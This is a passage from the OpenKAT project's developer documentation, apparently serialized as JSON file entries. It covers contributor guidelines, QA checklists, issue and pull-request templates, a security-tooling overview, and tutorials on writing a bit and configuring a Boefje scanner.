_about-openkat-precommit:\n\nPre-commit\n----------\n\nContinuous Integration will run several checks as mentioned above, like ``black``, ``ruff`` and more using pre-commit hooks.\nAny warnings from these checks will cause the Continuous Integration to fail; therefore, it is helpful to run the check yourself before submitting code.\nThis can be done automatically by `installing pre-commit <https://pre-commit.com/#install>`_. We recommend that you first\n`install pipx <https://pipx.pypa.io/stable/installation/>`_ and then use pipx to install pre-commit:\n\n    pipx install pre-commit\n\nIf you already use homebrew you can also use it to install pre-commit:\n\n    brew install pre-commit\n\nNote that using apt to install pre-commit is not recommended because that will give you an old pre-commit version that might\nnot work. After pre-commit is installed, run::\n\n    pre-commit install\n\nfrom the root directory of a repository. Now all of the checks will be run each time you commit changes without your needing to run each one manually.\nIn addition, using pre-commit will also allow you to more easily remain up-to-date with our code checks as they change.\n\n.. _about-openkat-signed-commits:\n\nSigned commits\n==============\n\nThe OpenKAT github project is configured to require all commits of a PR to be\nsigned. The easiest way to do this is to configure git to automatically sign all\ncommits by default. See the `GitHub documentation\n<https://docs.github.com/en/authentication/managing-commit-signature-verification/signing-commits>`_\nhow to do this.\n\nType Hinting\n============\n\nIn this project we use strict type hinting where possible.\nThis should make code easier to read and reason about and easier to use (external) libraries.\nAlso, many modern frameworks today use type hints for e.g. runtime data validation and documentation.\nStatic code analysis tools (including those in an IDE) and type linters can be used to validate typing and improve code quality.\n\nAlthough we try to provide as much type hinting as possible, it may be harder to use type hints in some contexts because of mismatches between different type linters or external libraries that don't have type hints or typing stubs.\nTherefore we try to be less strict in e.g. (parts of) Django based applications, but enforce stricter type hinting in more isolated code such as clients and utility functions.\n\nIn principle, all independent code (e.g. which does not depend on, or inherit from, external libraries) should be strictly typed.\n\nIn practice, this means ``mypy --strict --ignore-missing-imports``; we do not check stubs.\n\nTesting\n=======\n\nTo prevent bugs and regressions, and to evaluate and verify that the products work, we test the codebase.\nWe do this both manually and automated (preferred).\nDevelopers are encouraged to follow the `Test Driven Development <https://en.wikipedia.org/wiki/Test-driven_development>`_ paradigm (although this is not strictly required).\nIt is obligatory to write unit tests for each bug fix and implemented feature.\n\nCode should be written in such a way that it is inherently testable.\n\nUnit Tests\n----------\n\nMost repositories must have at least unit tests for quick white box testing. For Python we use two testing packages:\n\n- ``pytest`` as the preferred package and type of tests\n- The builtin ``unittest`` package is still used for some of the older tests; those tests are also run using the ``pytest`` runner\n\nUnit tests should be:\n\n- Reproducible; meaning independent from environment or running order\n- Fast; external and I/O calls should preferably be mocked\n- Maintable; meaning easy to read and update\n- Truly unit tests; testing units of code and not accessing external resources\n\nIntegration Tests\n-----------------\n\nFor integration testing the frontend we adopted `Robot Framework <https://robotframework.org>`_.\nIt has a simple syntax and many plugins available that should improve our test coverage.\n\nDevelopment Environment\n=======================\n\nSee :doc:`/installation-and-deployment/index` for the overall installation instructions.\nIn a development context, we strongly recommend to use the Docker setup to test and make changes in the codebase (and not production packages).\n\nWhen it comes to development there is no specific IDE that must be used, although many of us would choose PyCharm as the preferred IDE.\n\n``make`` is used for automating several tasks such as building, cloning, pulling changes and more.\nDevelopers are encouraged to implement any helper or convenience shell functionality through a ``Makefile``.\n\nFurthermore the different services are containerised using Docker and set up to run with ``docker-compose``.\n\nMerge Strategy\n==============\n**Commits should preferably be squashed** when merging a PR back into the primary branch.\nThis helps to keep the git history clean and easier to digest.\nMultiple rework commits *may* be submitted (or also squashed together) to highlight the rework and give more transparency.\n\nBranching\n---------\n\nIn principle, all work-in-progress by the core team is based off the ``main`` branch. Releases are tags on the ``main`` branch.\nIf you are a community contributor, it may be wise to use a release tag as the basis for your work instead of the ``main`` branch.\nThis is because that branch generally changes rapidly, and may require you to continuously pull and merge all changes into your PR.\n\nReviews\n-------\n\nCode and functional reviewers are encouraged to be reasonably strict. **An approval should only be given after serious consideration**.\nReviewers should not be tempted to accept \"it works\" contributions, and should consider whether the changes by the PR will lead to extra refactoring and maintenance down the road.\nWe believe that writing good, well thought-out code is more important than adding features as quickly as possible.\nRemember that writing tests and documentation (where necessary) are obligatory.\nThat said, everyone should remember to be polite and constructive in their feedback and comments.\n\n``# noqa:``  may be used sparingly on a per-line basis if the CI encounters a false positive, or if it concerns a code style issue that is non-trivial to fix.\nCode reviewers are strongly encouraged to be sceptical of this.\n\nCode commenting and documentation\n---------------------------------\nEveryone is encouraged to write meaningful comments in their code where necessary, especially in complicated or abstract parts.\n\n`PEP 257 <https://peps.python.org/pep-0257/>`_ (as checked by ``pydocstyle``) is our preferred way of writing docstrings.\nIdeally, each public method, class, function, and module has one.\n\nUsing docstrings and type hints everywhere improves the quality of the automatically generated API documentation.\n\n(Note: we may decide to prefer reStructuredText docstrings later.)\n\nLine ends\n=========\n\nWe accept contributions from all sorts of development environments. Please set ``git config --global core.autocrlf true`` if you use a Windows environment. Check out `the documentation on issues related to line ends and white spaces <https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration#_formatting_and_whitespace>`_ if you need more information or run into issues.\n\nTechnical diagrams\n==================\n\nWe prefer the use of `Mermaid <https://mermaid-js.github.io>`_ to create (technical) diagrams of things.\nThese are automatically rendered by GitHub and the online Sphinx docs.\n\nMermaid has support for things like PlantUML and ERD's.\n\nDependency management\n=====================\n\nOur module dependencies are managed using `Poetry <https://python-poetry.org>`_, through ``pyproject.toml`` and the ``make poetry-dependencies`` command.\nPoetry can create and manage per-module virtual environments for you automatically.\nThe CI checks whether the ``pyproject.toml`` file is up-to-date with the ``poetry.lock`` and ``requirements.txt`` files.\nThe automatically generated ``requirements.txt`` files are used by the Docker images, Debian packages, and the CI environment.\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/guidelines/feature_flow.md",
    "content": "# Feature flow\n\n## Getting features in the main branch\n\nMost features should follow the path laid out on our project board. This document describes the requirements for features to move between columns of the board.\nListing these requirements should reduce the _bystander effect_ for doing code or QA reviews and make it easier for other developers to pick up these tasks.\nThis would enable us to move features quickly from in progress to merged and avoid bottlenecks at either the review or QA stage.\nThe required procedure to merge a feature into main are as follows.\n\n### 1. Approved Features / Need Refinement &rarr; Refined Tasks\n\n- We are not reinventing the wheel: there is no high-quality library that already has this feature.\n- This issue is \"bite-sized\" and (only) leaves non-critical implementation details to the developer.\n\n### 2. In Progress &rarr; Review\n\n- The authors of the ticket have created a pull request.\n- The `Checklists for authors` in our pull_request_template has been filled in by the authors.\n\n### 3. Review &rarr; QA review\n\n- The `Checklist for code reviewers` in our _pull_request_template_ has been filled in by a code reviewer.\n\n### 4. QA Review &rarr; Ready for Merge\n\n- The `Checklist for QA` in our _pull_request_template_ has been filled in by a QA reviewer.\n\n### 5. Ready for merge &rarr; Done\n\nThe procedures above should guarantee that members of the _kat-managers_ group can merge these features directly.\nWe should actively aim to resolve any discussions about the implementation at stages 1 and 2.\nIt is the responsibility of the authors to bring possible issues to the attention of anyone that might have an opinion about the issue.\n\n---\n\n## Releasing features\n\nOnce a release branch has been created with a new set of functionality, it is important that we do a QA review again.\nThis time, the QA has an extended checklist to also guarantee that there is no regression in the more advanced functionality of OpenKAT.\nAlso, we need to assure that there is no regression between the different supported deployments options of OpenKAT.\n\n### Environments for the extended QA\n\n- [ ] Clone the source repository and run `make reset` [Linux and Darwin, perhaps different docker versions and installs]\n- [ ] Install the debian packages [On different distro's: ubuntu 20.04 + 22.04, debian 11 + 12]\n- [ ] Install the container images\n\nIdeally we would follow the following QA procedure on each of these environments:\n\n### Checklist for QA\n\n- [ ] I confirmed that there are no unintended functional regressions in this branch:\n  - [ ] I have managed to pass the onboarding flow\n  - [ ] Objects and Findings are created properly\n  - [ ] Tasks are created and completed properly\n\n### Extended checklist for QA\n\n#### Checking the UI/UX\n\n- [ ] Turning Boefjes on and off in the KATalogus\n- [ ] Create, turn off, and delete Boefjes-settings\n- [ ] Perform scans\n- [ ] Analyse results\n- [ ] Reports (Findings), per object, per report\n- [ ] Generating PDF-reports\n- [ ] Pagination of several tables\n- [ ] Translations\n- [ ] Manually starting Boefjes and normalizers\n- [ ] Manually adding and deleting objects and Findings\n- [ ] Automatic scheduling and starting of Boefjes and normalizers\n- [ ] Exporting the object list as JSON and CSV\n- [ ] Inspection of task details\n- [ ] Inspection of all pages interfaces, including de tree- and graph view of objects\n- [ ] UI/UX in general\n\n#### Checking User/Organization management functionality\n\n- [ ] I can create and delete an organization\n- [ ] I can create and delete users\n- [ ] I can assign and revoke rights to these users\n- [ ] I can reset 2FA\n\n#### Checking Performance\n\n- [ ] Verify that there is no significant performance regression\n\n---\n\n## Tips and tricks for pull request QA testing\n\n### Think outside the box\n\n- Feel free to deviate from the checklist: testing things that are not obviously related to the PR is a good way to find bugs.\n- Thoroughness is key: embrace the \"hacker mindset\" and try to break (new) functionality by providing unexpected input, and attempt to perform unauthorized actions.\n- Try to break the UI: try resizing the window, using zoom functionality, and test multiple browsers.\n- Always remember that you are taking on the role of a user that is probably not as familiar with the application as you are: everything you encounter should feel intuitive and easy to use. Lack of intuitiveness deserves a QA comment.\n\n### Be pragmatic but versatile\n\n- Features updating the data model should usually be backward compatible, so we should not run `make reset` upon every review. Switch tactics with respect to updating your local environment regularly.\n- Small documentation changes do not require rebuilding and restarting all services to performa a QA review.\n- Properly gauge the impact of a feature: API changes in the KATalogus, for example, can affect Rocky, Mula and Octopoes, but never Bytes (in the current setup).\n- Changes that hit the core of every service (package updates) require performing the extended QA checklist.\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/guidelines/ideas.rst",
    "content": "OpenKAT background and concepts\n###############################\n\nDuring the development of OpenKAT the main concepts were discussed and documented. These documents might be useful for understanding the system.\n\n\nIndemnification statements\n==========================\n\nIndemnification statements are a way of agreement between two parties that specific activities are\nallowed to be performed, that would otherwise be illegal. This agreement is often made in\nenvironments that require to be tested, such as penetration testing. This document explains how OpenKAT handles this.\n\n`OpenKAT Indemity statements <https://github.com/minvws/nl-kat-coordination/blob/main/docs/source/guidelines/ideas/OpenKAT%20-%20Indemnity%20statements%20v0.2.pdf>`_\n\nSafe viewing of boefjes-data (dutch)\n=====================================\n\nIf you collect possible malware, how do you safely store and display it? This document explains how this has been handled in OpenKAT. Sorry, Dutch only at the moment.\n\n`Veilige weergave boefjes-data <https://github.com/minvws/nl-kat-coordination/blob/main/docs/source/guidelines/ideas/Veilige%20weergave%20boefjes-data%20in%20KAT%20interface%20v1.0.pdf>`_\n\nOpenKAT as educational tool (dutch)\n===================================\n\nEducating the next generation is a collective responsibility. OpenKAT is already in use for educational purposes. This document gives some ideas for future educational projects.\n\n`OpenKAT: Educatietool <https://github.com/minvws/nl-kat-coordination/blob/main/docs/source/guidelines/ideas/KAT%20-%20OpenKAT%20als%20educatietool.pdf>`_\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/guidelines/index.rst",
    "content": ".. _guidelines-index:\n\nProject Guidelines\n##################\n\nContains documentation for developers and contributors.\n\n.. toctree::\n   :maxdepth: 4\n   :caption: Contents\n\n   management\n   development\n   ideas\n   contributions\n   feature_flow\n   security\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/guidelines/management.rst",
    "content": "Project management\n##################\n\nOpenKAT development is largely public except for the retrospective meetings of the development team at the Ministry of Health, Welfare and Sports. Do get in touch if you want to contribute. In principle, `all project management is handled in a central board <https://github.com/orgs/minvws/projects/7>`_.\nIssues and PRs may be created in the repositories of the KAT modules, and will be linked to the central board.\nAll (linked) issues and PR's should be assigned to a status column, and have an assignee so we know who is chiefly responsible / who should take action.\nDevelopers are encouraged to use the Review column(s) to get their PR's merged, and to regularly check if they can help review something.\n\nFeature Milestones\n==================\n\nAlthough we have no fixed release schedules, we focus on a pre-defined list of tasks each iteration/cycle.\n\nAt the beginning of each release cycle, we take inventory of which (major) functionality we want to implement.\nThis will most likely be based on cards in the \"incoming features and refinements\" column on the project board.\nWe agree to prioritize our collective effort on implementing that functionality, although there is always time for bug fixing, testing, and quality control.\nAll tasks that belong to that cycle should have an appropriate milestone label in the project board, and should be moved to the To-Do column.\n\nA cycle only ends if either:\n\n* functionality is no longer required (i.e. changing requirements);\n* the changes on ``main`` are complete, have been approved by QA, and have been released to a production tag.\n\nWhen a cycle has been completed, we hold a quick retrospective to evaluate what we did and did not manage to complete, and any additional problems that we uncovered.\n\nBugs and Feature Requests\n=========================\n\nFor effective bug reporting and feature requests there are :doc:`../templates/index`.\nThese should be used and submitted in the coordination repository's `issues board <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/issues>`_.\nPlease make sure to link them to the central project board as an incoming feature/refinement.\n\n\nPull Requests\n=============\n\nEach unit of work shall be submitted as a pull request using a :doc:`../templates/pull_request_template_author` and reviewed by at least one developer.\nThe checklist should be completed by a functional and a code reviewer.\n\nIn-depth content discussions\n============================\nAll formal discussions about the direction of the project or about significant technical choices should be done through `GitHub Discussions <https://github.com/SSC-ICT-Innovatie/nl-kat-coordination/discussions>`_.\nIt is important that there is a paper trail about why certain decisions were made, and this is not guaranteed through e.g. Signal or Jitsi.\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/guidelines/security.rst",
    "content": "Security\n########\n\nThe OpenKAT project is committed to providing a secure environment.\nAs a security product ourselves, we take security seriously and strive to be transparent about our security posture.\n\nSecurity in the pipeline\n=========================\n\nThe OpenKAT project uses a variety of tools to ensure the security of the codebase. These include:\n\nSCA\n---\n\nTo scan for vulnerabilities in our code base and keep dependencies up-to-date, we use Dependabot, a tool for automated dependency updates built into Github.\nThis tool scans the code base for outdated components and vulnerabilities, and creates a pull request to update the dependencies.\nThis way we can ensure that the code base is up to date and secure.\n\nSAST\n----\n\nTo scan for Security Hotspots in our code base we use the built-in tool from Github, CodeQL and SonarQube Cloud.\n\n**CodeQL**\n\nWe have enabled the ``security-extended`` option which may cause some more false positives but also gives a better insight into possible security risks.\n\nThe following languages are enabled within our CodeQL scan:\n\n- Python\n- JavaScript / TypeScript\n- GitHub Actions\n\n**SonarQube Cloud**\n\nSonarQube Cloud is used to scan for the code quality, it also looks for Security Hotspots, which are lines of code that may contain vulnerabilities.\n\nSecret scanning\n---------------\n\nTo prevent secrets from being exposed in the code base we use the built-in tool from Github, Secret scanning. There is currently no check on the pre-commit for secrets.\n\nDAST\n----\n\nWe currently do not have a DAST tool in place, but we are looking into the possibilities to implement this in the future.\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/index.rst",
    "content": "Contributing\n############\n\nFeel like making OpenKAT better? You can (hopefully) find all the content you need here. Do you miss something? Nice! You just found a way to contribute ;).\n\n.. toctree::\n   :maxdepth: 4\n   :caption: Contents\n\n   intro\n   ux-design/index\n   guidelines/index\n   templates/index\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/intro.rst",
    "content": "============\nContributing\n============\n\nIntroduction\n============\nOpenKAT is an open source project. This means that anyone can help to make OpenKAT better. Even better.... we would LOVE for you to contribute! It can be daunting to find ways to contribute. By giving some examples, we hope you know what fits your specific skills and thus what way you can contribute best.\n\n- Make bug reports for bugs you run into.\n- Create pull requests to fix the bug report (you just created ;)).\n- Create new boefjes, normalizers, bits and/or questions/configs. Some examples could be to implement support for all the nmap-scripts, PingCastle, snmp-walk, enum4linux, nbtscan, dirb, gitleaks, Recon-AD, implement OVAL lists from distributions to determine which software is outdated. Need more ideas? Ping us. ;)\n\nThe sections in this chapter help you get familiar with how OpenKAT works as a team/project. If anything is unclear, you just found a way to contribute.\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/templates/bug_report_template.md",
    "content": "# Bug Report Template\n\n```\n---\nname: Bug report\nabout: Create a bug report to help us improve\ntitle: ''\nlabels: 'bug'\nassignees: ''\n---\n\n_Please add `bug`, the name of any relevant modules (e.g. `rocky`), and any other relevant labels to your issue._\n\n**Describe the bug**\nA clear and concise description of what the bug is.\n\n**To Reproduce**\nSteps to reproduce the behavior:\n1. Go to '...'\n2. Click on '....'\n3. Scroll down to '....'\n4. See error\n\n**Expected behavior**\nA clear and concise description of what you expected to happen.\n\n**Screenshots**\nIf applicable, add screenshots to help explain your problem.\n\n**OpenKAT version**\nNote the release tag (and if possible: the installation method) here.\nIf it concerns an in-development version, note the branch(es) and commit hash(es) here as well.\n\n**Desktop (please complete the following information if relevant):**\n - OS: [e.g. iOS]\n - Browser: [e.g. chrome, safari]\n - Version: [e.g. 22]\n\n**Smartphone (please complete the following information if relevant):**\n - Device: [e.g. iPhone6]\n - OS: [e.g. iOS8.1]\n - Browser: [e.g. stock browser, safari]\n - Version: [e.g. 22]\n\n**Additional context**\nAdd any other context about the problem here.\n```\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/templates/feature_request_template.md",
    "content": "# Feature Request Template\n\n```\n---\nname: Feature request\nabout: Suggest an idea for this project\ntitle: ''\nlabels: 'feature'\nassignees: 'underdarknl'\n---\n\n_Please add one or more of the following labels to your issue:_\n`frontend backend community dependencies`\n\n**Is your feature request related to a problem? Please describe.**\nA clear and concise description of what the problem is. Ex. I'm always frustrated when [...]\n\n**Describe the solution you'd like**\nA clear and concise description of what you want to happen.\n\n**Describe alternatives you've considered**\nA clear and concise description of any alternative solutions or features you've considered.\n\n**Additional context**\nAdd any other context or screenshots about the feature request here.\n```\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/templates/index.rst",
    "content": "GitHub Templates\n################\n\nContains files to be used in the ``.github`` folder.\n\n.. toctree::\n   :maxdepth: 4\n   :caption: Contents\n\n   bug_report_template\n   feature_request_template\n   pull_request_template_author\n   pull_request_template_review_code\n   pull_request_template_review_qa\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/templates/pull_request_template_author.md",
    "content": "# Pull Request template for authors\n\n[See the .github template file.](https://github.com/minvws/nl-kat-coordination/blob/main/.github/pull_request_template.md)\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/templates/pull_request_template_review_code.md",
    "content": "# Code review checklist for PR's\n\n```markdown\n## Checklist for code reviewers:\n\n- [ ] The code does not violate Model-View-Template and our other architectural principles.\n- [ ] The code prioritizes readability over performance where appropriate.\n- [ ] The code does not bypass authentication or security mechanisms.\n- [ ] The code does not introduce any dependency on a library that has not been properly vetted.\n- [ ] The code contains docstrings, comments, and documentation where needed.\n```\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/templates/pull_request_template_review_qa.md",
    "content": "# QA checklist for PR's\n\n```markdown\n## Checklist for QA:\n\n- [ ] I have checked out this branch, and successfully ran a fresh `make reset`.\n- [ ] I confirmed that there are no unintended functional regressions in this branch:\n  - [ ] I have managed to pass the onboarding flow\n  - [ ] Objects and Findings are created properly\n  - [ ] Tasks are created and completed properly\n- [ ] I confirmed that the PR's advertised `feature` or `hotfix` works as intended.\n- [ ] I checked the logs for errors and/or warnings and made issues where necessary\n\n### What works:\n\n- _bullet point + screenshot (if useful) per tested functionality_\n\n### What doesn't work:\n\n- _bullet point + screenshot (if useful) per tested functionality_\n\n### Bug or feature?:\n\n- _bullet point + screenshot (if useful) if it is unclear whether something is a bug or an intended feature._\n```\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/ux-design/figma.rst",
    "content": "#####\nFigma\n#####\n\nIn the future, we intend to add all documentation related to UI/UX design directly in these docs.\nFor now, we refer to the relevant sections in our Figma files.\n\nDesign process\n==============\nThis document describes the overall design process followed by KAT-Designers.\nWithin this document you will find an overview of all available design documents and how to use them.\n\n`To visit the design process Figma file, go here. <https://www.figma.com/file/Nn1VwlVuitmMhecRPeGIFY/KAT-%7C-Docs-%7C-Design-process?node-id=0%3A1&t=7mcOWLA9U7rX5FA7-1>`_\n\n\nFundamentals\n============\nThis describes the fundamentals library of KAT branding, e.g. fonts, color sets, spacing, etc.\n\n`To visit the fundamentals Figma file, go here. <https://www.figma.com/file/WdyhI30BFLptnts8zaiYYu/KAT-%7C-Design-System-%7C-Fundamentals?node-id=2%3A362&t=HjDf6IVDjMxdzgMW-1>`_\n\n\nComponents\n==========\nThe KAT component library. E.g. form elements, header, table, etc.\nComponents can be used within designs.\nAll components are based on the choices made within the fundamentals library.\n\n`To visit the components Figma file, go here. <https://www.figma.com/file/MDbpc9K0qjyaoRGAGiDX6t/KAT-%7C-Design-System-%7C-Components?node-id=1452%3A24277&t=ePITcGWcAHTzvMLc-1>`_.\n\n\nDesign workfile\n===============\nThis is the design work file for all designs, e.g. pages, user flows, etc.\n\n`To visit the design workfile Figma file, go here. <https://www.figma.com/file/sJpcWSngJDWdNPoal21ERe/KAT-%7C-Design-%7C-Workfile?node-id=42%3A95497&t=a2KcFALX2h8wDnUq-1>`_\n\n\nFor review\n==========\nAll designs that are ready to be reviewed.\n\n`To visit the review designs Figma file, go here. <https://www.figma.com/file/QRL8085Z827bNdO0bIDdFL/KAT-%7C-Design-%7C-For-review?node-id=5%3A4&t=HBbKMXdEdiT0uAIY-1>`_\n\n\nApproved for implementation\n===========================\nApproved designs. These are ready to be implemented by developers.\n\n`To visit the approved designs Figma file, go here. <https://www.figma.com/file/8r4OSFIJt1PF4iDXf9MbqM/KAT-%7C-Design-%7C-Approved-for-implementation?node-id=9%3A5&t=VN0wwKk4bCksZroi-1>`_\n"
  },
  {
    "path": "docs/source/developer-documentation/contributor/ux-design/index.rst",
    "content": "UI/UX design documentation\n##########################\n\nContains references and information about our UI/UX design process.\n\n.. toctree::\n   :maxdepth: 4\n   :caption: Contents\n\n   figma\n"
  },
  {
    "path": "docs/source/developer-documentation/development-tutorial/creating-bit.md",
    "content": "# Creating a bit\n\nNext, we want to look for our Greeting OOI and generate a finding from this once it has been added. Since findings are also an OOI, that means we want to generate OOIs from OOIs. This is the job for a bit. A bit consumes OOIs and generates other OOIs from it.\n\nTo start creating a bit create a folder inside `octopoes/bits/` called `check_greeting`. This folder will contain the information about our bit. This is what our folder should look like:\n\n```shell\n$ tree octopoes/bits/check_greeting\n├── __init__.py\n├── bit.py\n└── check_greeting.py\n```\n\n## `__init__.py`\n\nThis file stays empty.\n\n## `bit.py`\n\nInside this file, we write information about our bit. Here we give information such as the id of our bit, what OOI our bit should look out for, other OOIs that our bit requires (which are related to the OOI the bit is looking out for such as the IpAddress contained inside our Greeting OOI) and the path to the module that runs the bit (in our example this will be `bits.check_greeting.check_greeting`.)\n\nThis is what our `bit.py` would look like:\n\n```python\nfrom bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.greeting import Greeting\n\nBIT = BitDefinition(\n    id=\"check-greeting\",\n    consumes=Greeting,\n    parameters=[],\n    module=\"bits.check_greeting.check_greeting\",\n)\n```\n\nYou can see inside `parameters` that we have given it a new object. This object gives us access to OOIs that are related to the OOI referenced in `consumes`. In our example, we do not have a solid reason to do this.\n\n## `check_greeting.py`\n\nThis is the file where the bit's meowgic happens. This file has to contain a run method which accepts the following:\n\n- the model specified inside the `bit.py`'s `consumes` parameter\n- additional OOIs that have been specified inside the `bit.py`'s `parameters` parameter\n- a dictionary which contains some config\n\nThis function returns an `Iterator` of OOIs. The OOIs that we will return have to do with the `Finding` type. This is a special OOI that is not displayed in OpenKAT's _Objects_ tab and instead gets displayed in the _Findings_ tab. This finding contains information such as the name and description of the finding, the severity (how impactful it is that the cause of this finding exists) and a recommendation to the user on what they should do in this situation.\n\nFor our case, we will make a simple Finding that will signal to the user that a Greeting OOI has been sighted in the database. This Finding will have a severity level of recommendation this is the lowest of the severity levels. The severity order goes from recommendation to critical like this:\n\n- `recommendation`\n- `low`\n- `medium`\n- `high`\n- `critical`\n\nIn our code, we will first create the type of finding and then we will create the finding and give more information about the current finding inside the description. This is what our file could look like:\n\n```python\nfrom collections.abc import Iterator\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.greeting import Greeting\n\ndef run(\n    input_ooi: Greeting,\n    additional_oois: list,\n    config: dict,\n) -> Iterator[OOI]:\n    greeting_text = input_ooi.greeting\n    address = input_ooi.address\n\n    kat = KATFindingType(id=\"KAT-GREETING\")\n    yield kat\n    yield Finding(\n        finding_type=kat.reference,\n        ooi=input_ooi.reference,\n        description=f\"We have received a greeting: {greeting_text} because of address: {str(address)}.\",\n    )\n```\n\nAfter this file is created all we have to do is create a finding type of _KAT-GREETING_ that contains the information about the finding. This is done inside `boefjes/boefjes/plugins/kat_kat_finding_types/kat_finding_types.json`. Inside this file, we can add a new object called _KAT-GREETING_ which will contain information about our findings.\n\nWe will add the following object to this file:\n\n```json\n\"KAT-GREETING\": {\n    \"description\": \"A greeting object has been found.\",\n    \"risk\": \"recommendation\",\n    \"impact\": \"This has no impact except for the fact that it uses space in the database.\",\n    \"recommendation\": \"Ignore this finding, it is only for learning purposes.\"\n}\n```\n\nAfter all of this is done, we can run `make kat` and refresh our OpenKAT page. Now our bit should automatically run. But if it takes too long. We can go into the Settings tab and press the _Rerun all bits_ button. After a small delay, we can go to the Findings tab and see our Findings of each Greeting object. If it is... then congratulations! Our Bit is finally working! The last step to complete the introduction is enabling the user to create a report with our findings!\n"
  },
  {
    "path": "docs/source/developer-documentation/development-tutorial/creating-boefje.rst",
    "content": "Creating a Boefje\n=================\n\nThere are two ways to create a Boefje:\n\n- Existing boefjes can be duplicated from their detail page using the “Add variant” button, in\n  which case you can use an existing OCI image for your new Boefje.\n- New Boefjes with a custom OCI image can be added from the KAT-alogus using the\n  “Add Boefje” button. In this case you need to provide your own OCI image\n  that is compatible with the Input and Output specification as defined in :doc:`/developer-documentation/boefjes-runner`.\n\nCreating a Boefje Variant\n-------------------------\n\nBoefje variants are Boefjes that use the same container image. In OpenKAT, all Boefjes with the same container image will be seen as\n‘variants’ of each other and will be shown together on those Boefje detail pages.\n\n**Note:** Currently, only admins are able to create Boefjes in the UI.\n\nTo create a **new** Boefje, go to the KAT-alogus. Here you will find the\n*‘Add Boefje’* button. To create a **variant** of an existing Boefje, go\nto the Boefje detail page of the Boefje you would like to use as a\ntemplate and press the *Add variant* button.\n\nSet up your Boefje\n~~~~~~~~~~~~~~~~~~\n\nYou will be directed to the Setup page, where you can configure your\nBoefje. The following items can be filled in:\n\n+-------------------+----------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Field             | Required | Explanation                                                                                                                                                                                                                                                                                                                             |\n+===================+==========+=========================================================================================================================================================================================================================================================================================================================================+\n| Container image   | Yes      | The name of the Docker image. For example: ``ghcr.io/minvws/openkat/nmap``                                                                                                                                                                                                                                                              |\n+-------------------+----------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Name              | Yes      | Give your Boefje a suitable name. This name will be visible in the KAT-alogus.                                                                                                                                                                                                                                                          |\n+-------------------+----------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Description       | No       | A description of the Boefje explaining in short what it can do. This will both be displayed inside the KAT-alogus and on the Boefje details page.                                                                                                                                                                                       |\n+-------------------+----------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Arguments         | No       | For example: ``-sTU --top-ports 1000``                                                                                                                                                                                                                                                                                                  |\n+-------------------+----------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Json Schema       | No       | If any other settings are needed for your Boefje, add these as a JSON Schema, otherwise, leave the field empty or 'null'. This JSON is used as the basis for a form for the user. When the user enables this Boefje they can get the option to give extra information. For example, it can contain an API key that the script requires. |\n+-------------------+----------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Input object type | No       | Select the object type(s) that your Boefje consumes.                                                                                                                                                                                                                                                                                    |\n+-------------------+----------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Output mime-types | No       | Add a set of mime-types that are produced by this Boefje, separated by commas. For example: _'text/html'_, _'image/jpeg'_ or _'boefje/{boefje-id}'_. These output mime-types will be shown on the Boefje detail page as information for other users.                                                                                    |\n+-------------------+----------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n| Clearance level   | No       | Select a clearance level for your Boefje, which indicates the clearance level the OOI's need before your Boefje will be scheduled on them.                                                                                                                                                                                              |\n+-------------------+----------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n\nUsing your Boefje\n~~~~~~~~~~~~~~~~~\n\nAfter finishing the setup and creating your Boefje, you can view it in\nthe KAT-alogus for All Organizations in your OpenKAT-install. The Boefje\ndetail page will show you all the detailed information about your newly\ncreated Boefje. Both on the KAT-alogus as on the Boefje detail page, you\ncan enable or disable your Boefje.\n\nUpdating your Boefje\n~~~~~~~~~~~~~~~~~~~~\n\nTo update your Boefje, you go to the *‘Variants’* section on the Boefje\ndetail page. Expand the table row of the Boefje you want to change and\npress the *Edit Boefje* button.\n\n\nCreating your own OCI image\n---------------------------\n\nThe only requirements for a custom OCI image is that it is compatible with the Input and Output specification in :doc:`/developer-documentation/boefjes-runner`.\nIn short, this means that:\n\n- The image should expect one argument in its command, being a URL where it can fetch its input.\n- The image should fetch its input from the given URL and can expect it to adhere to the JSON schema from the\n  specification.\n- The image sends base64-encoded output files in a JSON request to the ``output_url`` as per the specification.\n\nAn example of a condensed version of the response of the input url would be of the form:\n\n.. code:: json\n\n   {\n     \"output_url\": \"http://boefje-api-endpoint/api/v0/{task-id}\",\n     \"task\": {\n        \"id\": \"4b806bf5-bdd9-42e7-ab70-b15a05e2c041\",\n        \"organisation\": \"test\",\n        \"data\": {\n                \"id\": \"4b806bf5-bdd9-42e7-ab70-b15a05e2c041\",\n                \"boefje\": {\n                    \"id\": \"dns-records\"\n      